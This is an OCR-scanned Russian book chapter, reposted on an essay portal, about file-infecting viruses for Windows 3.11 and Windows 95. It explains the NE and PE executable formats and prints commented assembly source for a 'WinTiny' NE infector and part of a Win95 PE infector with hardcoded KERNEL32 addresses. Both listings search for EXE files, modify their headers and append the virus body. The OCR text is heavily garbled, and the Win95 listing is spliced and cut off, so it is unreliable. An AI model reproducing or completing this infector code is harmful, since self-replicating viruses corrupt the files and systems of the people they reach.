В этой главе рассказано о вирусах, заражающих фай- лы в операционной среде
Windows. Наиболее подробно рассмотрены вирусы под Windows 95, Представлены исходные тексты вирусов
с подробными комментариями, Также приведены основные сведения о запускаемых фай-
лах программ под Windows, их структуре, отличиях от файлов DOS,
Вирусы под Windows 3.11
В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про-
грамм. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами - и DOS, и Windows.
Для этого все исполняемые файлы под Windows содержат два заголов- ка. Первый заголовок (старый) - распознается DOS как программа, вы-
водящая на экран "This program requires Microsoft Windows". Второй заголовок (NewEXE) - для работы в Windows (см. приложение).
Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для
DOS и программы (STUB), которая выводит сообщение "This program requires Microsoft Windows".
Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE.
Заголовок NewEXE начинается с символов "NE". Далее идет собствен-
но заголовок, в котором содержатся различные данные, в том числе ад- реса смещений таблиц сегментов, ресурсов и другие. После заголовка
расположена таблица сегментов, за ней - все остальные таблицы, далее размещены собственно сегменты с кодом.
Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса.
4. CS:IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла.
Для загрузки в память (надо перехватить вектор INT 21h из-под Windows) необходимо использовать функции DPMI (INT 31h). Дей-
ствия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI).
В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай-
ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.
.286
.MODEL TINY .CODE
;Сохраним регистры и флаги pushf pusha push ds push es
.Проверим, доступен ли DPMI. Если доступен, Продолжаем, если нет - выходим
mov ax,1686h
int 2Fh
or ax, ax
jz dpmi_exist
;Восстановим регистры и флаги exit:
pop es
pop ds
popa
popf
.Запустим программу-носитель
db OEAh reloclP dw 0 relocCS dw OFFFFh dpmi_exist:
;Выделим линейный блок памяти, используя DPMI mov ax,0501h mov cx,OFFFFh
xor bx.bx int 31 h
;Сохраним индекс и 32-битный линейный адрес .полученного блока памяти в стеке
push si ~^
push di
push bx
push ex
;Создадим дескриптор в таблице LDT хог ах,ах mov ex, 1 int 31 h
;B поле адреса полученного дескриптора .установим адрес нужного блока памяти
mov bx,ax
mov ах,7
pop dx
pop ex
int •31h
;B поле предела полученного дескриптора остановим размер выделенного блока памяти
mov ах,8
mov dx,OFFFFh
хог сх.сх
int 31h
;В поле прав доступа полученного дескриптора установим значение, соответствующее сегменту данных, доступному для чтения и записи
mov ах,9
mov cl, 1111001 Ob
хог ch,ch
int 31h
;3агрузим селектор в регистр DS. После этого регистр DS будет оказывать на выделенный блок памяти
mov ds.bx
.Читаем из стека и сохраняем в памяти ;индекс полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
Получим текущую DTA mov ah,2Fh int 21 h mov [DTA],bx mov [DTA+2],es
;Найдем первый ЕХЕ-файл (маска *.ЕХЕ) mov ah,4Eh xor ex,ex
mov dx,OFFSET wild_exe push ds push cs pop ds int 21 h pop ds
;Если файл найден, перейдем к заражению, иначе освободим ;выделенную область памяти и запустим программу-носитель
jnc found_exe
;0свободим выделенную область памяти call free
.Запустим программу-носитель jmp exit
.Перейдем к следующему файлу - этот не подходит close_exe:
; Закроем файл mov ah,3Eh int 21h
;Найдем следующий файл mov ah,4Fh int 21h
;Если файл найден, перейдем к заражению, иначе освободим -.выделенную область памяти и запустим программу-носитель
jnc found_exe
;0свободим выделенную область памяти call free
;3апустим программу-носитель jmp exit
;Файл найден, проверим его на пригодность к заражению found ехе:
;0ткроем файл для чтения и записи push ds
Ids dx, DWORD PTR [DTA] add dx.lEh mov ax,3D02h int 21 h pop ds
.Прочтем старый заголовок mov dx.OFFSET old_hdr mov bx.ax mov cx,40h
mov ah,3Fh int 21h
;Проверим сигнатуру, это ЕХЕ-файл? cmp WORD PTR [old_hdr],"ZM"
jne close_exe
[Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный ЕХЕ-файл.
;Не будем сразу делать вывод,
;что это NewEXE, потому^что это может оказаться
;РЕ-, LE-, LX-executable или другой
;(PE-executable описан в разделе,
[посвященном Windows 95, остальные
;типы ЕХЕ-файлов в этой книге не рассматриваются)
cmp [old_hdr+18h],WORD PTR 40h
jb close_exe
.Перейдем ко второму заголовку (может быть, это NewEXE?):
Переводим указатель к смещению, обозначенному в поле 3Ch
mov dx.WORD PTR [old_hdr+3Ch]
mov cx.WORD PTR [old_hdr+3Eh]
mov ax,4200h
int 21h
; Прочитаем второй заголовок mov dx.OFFSET newJ-idr mov ex,40h mov ah,3fh
int 21h
[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл cmp WORD PTR [new_hdr],"EN"
jne close_exe
[Проверим, для Windows ли предназначен этот файл. Если да, будем ;заражать, иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
.Переместим указатель чтения/записи в таблицу сегментов, ;к элементу, обозначающему сегмент точки старта программы.
[Для этого прочтем значение регистра CS при запуске [этого ЕХЕ-файла
mov dx.WORD PTR [new_hdr+16h]
;По номеру сегмента вычислим положение соответствующего ему [элемента в таблице сегментов
dec dx
shi dx,3
;K результату прибавим смещение таблицы сегментов и смещение .заголовка NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx.WORO PTR [old_hdr+3ch]
mov cx.WORD PTR [old_hdr+3eh]
[Переместим указатель чтения/записи mov ax,4200h int 21 h
[Прочтем из таблицы сегментов смещение логического сектора mov dx,OFFSET temp
mov ex, 2 mov ah,3Fh int 21 h
.Вычислим смещение сегмента, опираясь на значения .смещения логического сектора и множителя секторов
;Переместим указатель позиции чтения/записи на точку старта .программы - результат вычисления
mov ax,4200h
int 21 h
;Считаем первые 10 байт после старта программы mov dx, OFFSET temp mov cx,10h
mov ah,3Fh int 21 h
Проверим, заражен ли файл. Если считанные 10 байт в точности ;совпадают с первыми 10-ю байтами нашего вируса, файл заражен.
;В этом случае переходим к поиску следующего, иначе - заражаем
mov si.OFFSET temp
push cs
pop es
xor di.di
mov ex, 8
eld
rep cmpsw
jne ok_to_infect
jmp close_exe
Приступим к заражению ok_to_infect:
Переместим NE-заголовок на 8 байт ближе к началу файла. ; Исправим соответствующие поля старого заголовка
sub WORD PTR [old_hdr+10h],8
sub WORD PTR [old_hdr+3ch],8 sbb WORD PTR [old_hdr+3eh],0
; Исправим значения таблиц в новом заголовке, чтобы переместились ;только заголовок и таблица сегментов (без остальных таблиц)
add WORD PTR [new_hdr+4],8
add WORD PTR [new_hdr+24h],8
add WORD PTR [new_hdr+26h],8
add WORD PTR [new_hdr+28h],8
add WORD PTR [new_hdr+2ah],8
;Сохраним оригинальные значения точек входа CS и IP push WORD PTR [new_hdr+14h]
pop [hostJp]
pushTWORD PTR [new_hdr+16h] pop [host_cs]
;Добавим еще один сегмент в таблицу сегментов и установим ;точку входа на его начало
mov WORD PTR [new_hdr+14h],0
inc WORD PTR [new_hdr+1ch]
push WORD PTR [new_hdr+1ch]
pop WORD PTR [new_hdr+16h]
.Переместим указатель чтения/записи в начало файла ;(к старому заголовку)
хог сх.сх
xor dx.dx
mov ax,4200h
int 21 h
;3апишем старый заголовок, так как модифицированы ;некоторые поля его копии в памяти
mov dx.OFFSET old_hdr
mov cx,40h
mov ah,40h
int 21 h
;Переместим указатель чтения/записи на начало нового заголовка (его переместили на 8 байт к началу файла)
mov dx.WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov ax,4200h int 21 h
;3апишем новый заголовок, так как в его копии ;в памяти некоторые поля модифицированы
mov dx, OFFSET new_hdr
mov cx,40h
mov ah,40h
int 21h
.Переместим указатель чтения/записи на 8 байт ;вперед - к началу таблицы сегментов
хог сх.сх
mov dx,8
mov ax,4201 h
int 21h
рассчитаем размер таблицы сегментов и считаем ее в память mov dx,OFFSET temp
mov cx.WORD PTR [new_hdr+1ch] dec ex shi cx.3 push ex mov ah,3Fh int 21h
Переместим указатель чтения/записи назад, к позиции ;за 8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,-1
mov ax,4201h
int 21h
;3апишем таблицу сегментов в файл, но не на ее прежнее место, ;а на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop ex
mov ah,40h
int 21h
.Прочтем текущую позицию чтения/записи (конец таблицы сегментов) xor сх,сх
xor dx.dx mov^ ax,4201h int 21 h
;Сохраним в стеке текущую позицию чтения/записи push dx push ax
.Получим длину файла, переместив указатель ^тения/записи в конец файла
xor сх.сх
xor dx,dx
mov ax,4202h
int 21 h
;Сохраним в стеке длину файла push dx push ax
;Вычислим и сохраним длину логического сектора mov cx.WORD PTR [new_hdr+32h]
mov ax,1 shi ax.cl mov [log_sec_len],ax
;Вычислим длину файла в логических секторах mov сх.ах pop ax pop dx
div ex
-.Учтем неполный сектор. Если в результате получился ;остаток, увеличим количество секторов
or dx,dx
jz no_rmd
inc ax no_rmd:
;3аполним поля нового элемента в таблице сегментов mov [my_seg_entry],ax
3-1436
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим из стека позицию в файле конца таблицы секторов pop dx pop ex
Переместим указатель чтения/записи к этой позиции mov ax,4200h int 21 h
.Запишем в конец таблицы новый элемент mov dx,OFFSET my_seg_entry mov ex,8
mov ah,40h int 21 h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой-то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
pop es
push cs
pop ds
xor si,si
mov di,OFFSET temp
mov ex,OFFSET vir_end
eld
rep movsb
push es
pop ds
Инициализируем адрес точки входа mov si,OFFSET temp mov WORD PTR [si+reloc!P],0
mov WORD PTR [si+relocCS],OFFFFh
Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul ex
mov cx.dx
mov dx.ax
mov ax,4200h
int 21h
;3апишем тело вируса в файл
mov dx, OFFSET temp
mov ex,OFFSET vir_end
mov ah,40h
int 21h
.Инициализируем поля перемещаемого элемента mov WORD PTR [reloc_data],1
mov BYTE PTR [reloc_data+2],3 mov BYTE PTR [reloc_data+3],4 mov WORD PTR [reloc_data+4],OFFSET reloclP
;3апишем перемещаемый элемент mov dx,OFFSET reloc_data mov ex, 10
mov ah,40h int 21h
[Закроем файл mov ah,3Eh int 21h
.Освободим выделенный блок памяти call free
;3апустим программу-носитель jmp exit
.Процедура, освобождающая выделенный блок памяти free PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
з*
int 31 h ret free ENDP
; Маска для поиска файлов wild_exe DB "•ЕХЕ-.О
;Имя вируса
DB "WinTiny"
;Идентификатор, указывающий на конец инициализированных данных vir_end:
.Индекс выделенного блока памяти mem_hnd DW ? DW ?
;Адрес текущей DTA DTA DW ? DW ?
;Место для хранения старого заголовка olcLhdr DB 40h dup (?)
.Место для хранения нового заголовка new_hdr DB 40h dup (?)
;Длина логического номера сектора log_sec_len DW ?
; Новый элемент в таблице сегментов my_seg_entry DW ?
DW ?
DW ?
DW ?
.Перемещаемый элемент reloc_dataDW ?
DB ?
DB ?
DW?
;3начение оригинальной точки входа host_cs DW ? hostJp DW ?
;0бласть памяти для использования temp DB ? END
Вирусы под Windows 95
Формат Portable Executable используется Win32, Windows NT и Windows 95, что делает его очень популярным, и в будущем, возмож-
но, он станет доминирующим форматом ЕХЕ. Этот формат значитель- но отличается от NE-executable, используемого в Windows 3.11.
вызов Windows 95 API
Обычные приложения вызывают Windows 95 API (Application Program Interface) используя таблицу импортируемых имен. Когда приложение
загружено, данные, необходимые для вызова API, заносятся в эту табли- цу. В Windows 95, благодаря предусмотрительности фирмы-производите-
ля Microsoft, модифицировать таблицу импортируемых имен невозможно.
Эта проблема решается непосредственным вызовом KERNEL32. То есть необходимо полностью игнорировать структуру вызова и перейти не-
посредственно на точку входа DLL.
Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.
Как вызывать API, имея возможность вызывать его и в то же время та- кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32.DLL, он находится по постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call APLFUNCTIONJMAME например:
call CreateFileA После компиляции этот вызов выглядит так:
db 9Ah .инструкция call dd 7777 ;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:
push function value call Module Entrypoint
Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стан-
дартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.
Модуль KERNEL32 располагается в памяти статически - именно так и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали- чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.
Адреса и номера функций
Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для August Release - по адресу OBFF93ClDh. Можно найти другие значе-
ния функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL
Функция
Адрес в June Test Release
Адрес в August Test Release
GetCurrentDir
BFF77744h
BFF77744h
SetCurrentDir
BFF7771Dh
BFF7771Dh
GetTime
BFF9DOB6h
BFF9D14Eh
MessageBox
BFF638D9h
BFF638D9h
FindFile
BFF77893h
BFF77893h
FindNext
BFF778CBh
BFF778CBh
CreateFile
BFF77817h
BFF77817h
SetFilePointer
BFF76FAOh
BFF76FAOh
ReadFile
BFF75806h
BFF75806h
WriteFile
BFF7580Dh
BFF7580Dh
CloseFile
BFF7BC72H
BFF7BC72h
Соглашения о вызовах
Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не исполь-
зует. Все API под Wm95 используют Pascal Calling Convention. При- мер - API, описанный в файлах справки Visual C++:
FARPROC GetProcAddress(
HMODULE hModule, // описатель DLL-модуля LPCSTR IpszProc // имя функции
);
На первый взгляд кажется, что достаточно лишь сохранить в стеке опи- сатель DLL-модуля (он стоит перед указателем на имя функции) и выз-
вать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:
push offset IpszProc
push dword ptr [hModule]
call GetProcAddress
Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит полу-
чить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.
Заражение файлов формата PE-executable
Определение положения начала РЕ-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адре-
сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но- вого заголовка.
Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в но-
ситель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2. Считать достаточное количество информации из заголовка для вычисления его полного размера.
3. Считать весь РЕ-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7. Записать измененный РЕ-заголовок в файл. Для определения расположения таблицы объектов следует воспользо-
ваться значением переменной "HeaderSize" (не путать с "NT headersize"), которая содержит совместный размер заголовков DOS, РЕ
и таблицы объектов.
Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.
Таблица объектов расположена непосредственно за NT-заголовком. Зна- чение "NTheadersize" показывает количество байт, следующих за полем
"flags". Итак, для определения смещения таблицы объектов нужно по- лучить NTheaderSize и добавить размер поля флагов (24).
Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется сме-
щение, по которому будет расположен вирус.
Данные для элемента таблицы объектов должны быть вычислены с исполь- зованием информации в предыдущем элементе (элементе носителя).
Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению" в размере "физического размера" байт.
Пример вируса под Windows 95
.386
locals
jumps
.model flat.STDCALL
include win32.inc некоторые 32-битные константы и структуры
.Прочитаем следующее сообщение из очереди push L О push L О push L О
push offset msg call GetMessage
;Если функция GetMessage вернула нулевое значение, то завершаем [обработку сообщений и выходим из процесса
стр ах.0
je endJoop
Преобразуем виртуальные коды клавиш в сообщения клавиатуры push offset msg
call TranslateMessage
Передаем это сообщение назад в Windows push offset msg call DispatchMessage
[Переходим к следующему сообщению jmp msgJoop
;Выход из процесса endJoop:
push [msg.msWPARAM]
call ExitProcess
.Обработка сообщений окна. Win32 требует сохранения регистров
;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос".
;Это позволит Ассемблеру сохранить их WndProc proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD,
wparam:DWORD, lparam:DWORD LOCAL theDC: DWORD
[Проверим, какое сообщение получили, и перейдем к обработке cmp [wmsg],WM_DESTROY
je wmdestroy
стр [wmsg],WM_RBUTTONDOWN je wmrbuttondown cmp [wmsg],WM_SIZE je wmsize
cmp [wmsg].WM_CREATE je wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wm paint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
Данная программа не обрабатывает это сообщение. .Передадим его Windows,
:чтобы оно было обработано по умолчанию jmp defwndproc
.Выходим из обработки сообщения mov eax, 0 jmp finish
[Выходим из обработки сообщения finish:
ret WndProc endp
Процедура перевода байта в ASCII-формат для печати. Значение, [находящееся в регистре AL, будет записано в ASCII-формате
;по адресу ES:EDI HexWriteS proc
; Разделяем байт на полубайты и загружаем их в регистры АН и AL mov ah.al
and al.OFh shr ah,4
[Добавляем 30h к каждому полубайту, чтобы регистры содержали коды [соответствующих символов ASCII. Если число,
;записанное в полубайте, было больше 9, ;то значение в этом полубайте надо еще корректировать
or ax,3030h
.Меняем полубайты местами, чтобы регистр АН содержал младший .полубайт, а регистр AL - старший
xchg al.ah
;Проверим. надо ли корректировать младший полубайт, .если да - корректируем
cmp ah, 39h
ja @@4
[Проверим, надо ли корректировать старший полубайт, ;если да - корректируем
@@1:
cmp al,39h
ja @@3
;Сохраним значение по адресу ES:EDI @@2:
stosw
ret
.Корректируем значение старшего полубайта @@3:
sub al, 30h
add al, "A"-10
jmp @@2
[Корректируем значение младшего полубайта @@4:
sub ah, 30h
add ah, "A"-10
jmp @@1 HexWriteS endp
[Процедура перевода слова в ASCII-формат для печати. [Значение, находящееся в регистре АХ, будет записано
;в ASCII-формате по адресу ES:EDI HexWrite16 proc
;Сохраним младший байт из стека push ax
;3агрузим старший байт в регистр А1_ xchg al,ah
.Переведем старший байт в ASCII-формат call HexWrite8
; Восстановим младший байт из стека pop ax
Переведем младший байт в ASCII-формат
call HexWrite8
ret HexWrite-16 endp
Процедура перевода двойного слова в ASCII-формат для печати. ;3начение, находящееся в регистре ЕАХ, будет записано
;в ASCII-формате по адресу ES:EDI HexWrite32 proc
.Сохраним младшее слово из стека push eax
; Загрузим старшее слово в регистр АХ shr eax, 16
[Переведем старшее слово в ASCII-формат call HexWrite-16
[Восстановим младшее слово из стека pop eax
[Переведем младшее слово в ASCII-формат
call HexWrite-16
ret HexWrite32 endp
[Сделаем процедуру WndProc доступной извне public WndProc ends
[Здесь начинается код вируса. Этот код переписывается из файла ;в файл. Все вышеописанное - всего лишь программа-носитель
vladseg segment para public "vlad"
assume cs:vladseg vstart:
;Вычислим текущий адрес
call recalc recalc:
pop ebp
mov eax.ebp
db 2Dh ;Код команды SUB AX subme dd 30000h+(recalc-vstart)
;Сохраним адрес в стеке push eax
[Вычислим стартовый адрес вирусного кода sub ebp.offset recalc
.Ищем KERNEL. Возьмем вторую известную нам точку KERNEL mov eax,[ebp+offset kern2]
Проверим ключ. Если ключа нет, перейдем к точке 1 cmp dword ptr [eax],5350FC9Ch
jnz notkern2
;KERNEL найден, точка 2
mov eax,[ebp+offset kern2] jmp movit
;Точка 2 не подошла, проверим точку 1 notkern2:
;Возьмем адрес первой известной нам точки KERNEL mov eax,[ebp+offset kern1]
Проверим ключ, если ключа нет - выходим cmp dword ptr [eax],5350FC9Ch
jnz nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL найден, адрес точки входа находится в регистре EAX movit:
.Сохраним адрес KERNEL mov [ebp+offset kern].eax eld
[Вычислим смещение последнего (null) объекта в таблице объектов mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader] add esi,eax xor eax.eax
mov ax,[ebp+offset numObj] mov ecx.40
xor edx.edx
mul ecx
add esi.eax
;Увеличим число объектов на 1
inc word ptr [ebp+offset numObj]
lea edi,[ebp+offset newobject]
xchg edi.esi
;Вычислим относительный виртуальный адрес (Relative Virtual Address ;или RVA) нового объекта
mov eax, [edi-5*8+8]
add eax,[edi-5*8+12]
mov ecx.dword ptr [ebp+offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset RVA],eax
;Вычислим физический размер нового объекта mov ecx.dword ptr [ebp+offset filealign]
mov eax.vend-vstart xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset physicalsize],eax
.Вычислим виртуальный размер нового объекта mov ecx.dword ptr [ebp+offset objalign]
mov eax.vend-vstart+tOOOh xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset virtualsize],eax
; Вычислим физическое смещение нового объекта mov eax,[edi-5*8+20] add eax,[edi-5*8+16]
mov ecx.dword ptr [ebp+offset filealign] xor edx.edx div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset physicaloffset],eax
[Обновим размер образа (размер в памяти) файла
mov eax,vend-vstart+1000h
add eax,dword ptr [ebp+offset imagesize]
mov ecx, [ebp+offset objalign]
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset imagesize],eax
.Скопируем новый объект в таблицу объектов
mov ecx, 10
rep movsd
[Вычислим точку входа RVA
mov eax.dword ptr [ebp+offset RVA]
mov ebx.dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax
sub eax.ebx
add eax,5
[Установим значение, необходимое для возврата в носитель mov dword ptr [ebp+offset subme],eax
[Поставим указатель позиции чтения/записи на начало РЕ-заголовка push О
push О
;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов vend:
db -lOOOh dup (0) ends end vstart
Дата добавления: 04.03.2002
База рефератов на портале KM.RU существует с 1999 года. Она пополнялась не только готовыми рефератами, докладами, курсовыми, но и авторскими публикациями, чтобы учащиеся могли использовать их и цитировать при самостоятельном написании работ.
Это популяризирует авторские исследования и научные изыскания, что и является целью работы истинного ученого или публициста. Таким образом, наша база - электронная библиотека, созданная в помощь студентам и школьникам.
Уважаемые авторы! Если Вы все же возражаете против размещения Вашей публикации или хотите внести коррективы, напишите нам на почту info@corp.km.ru, мы незамедлительно выполним Вашу просьбу или требование.
Используя наш cайт, Вы даете согласие на обработку файлов cookie. Если Вы не хотите, чтобы Ваши данные обрабатывались, необходимо установить специальные настройки в браузере или покинуть сайт.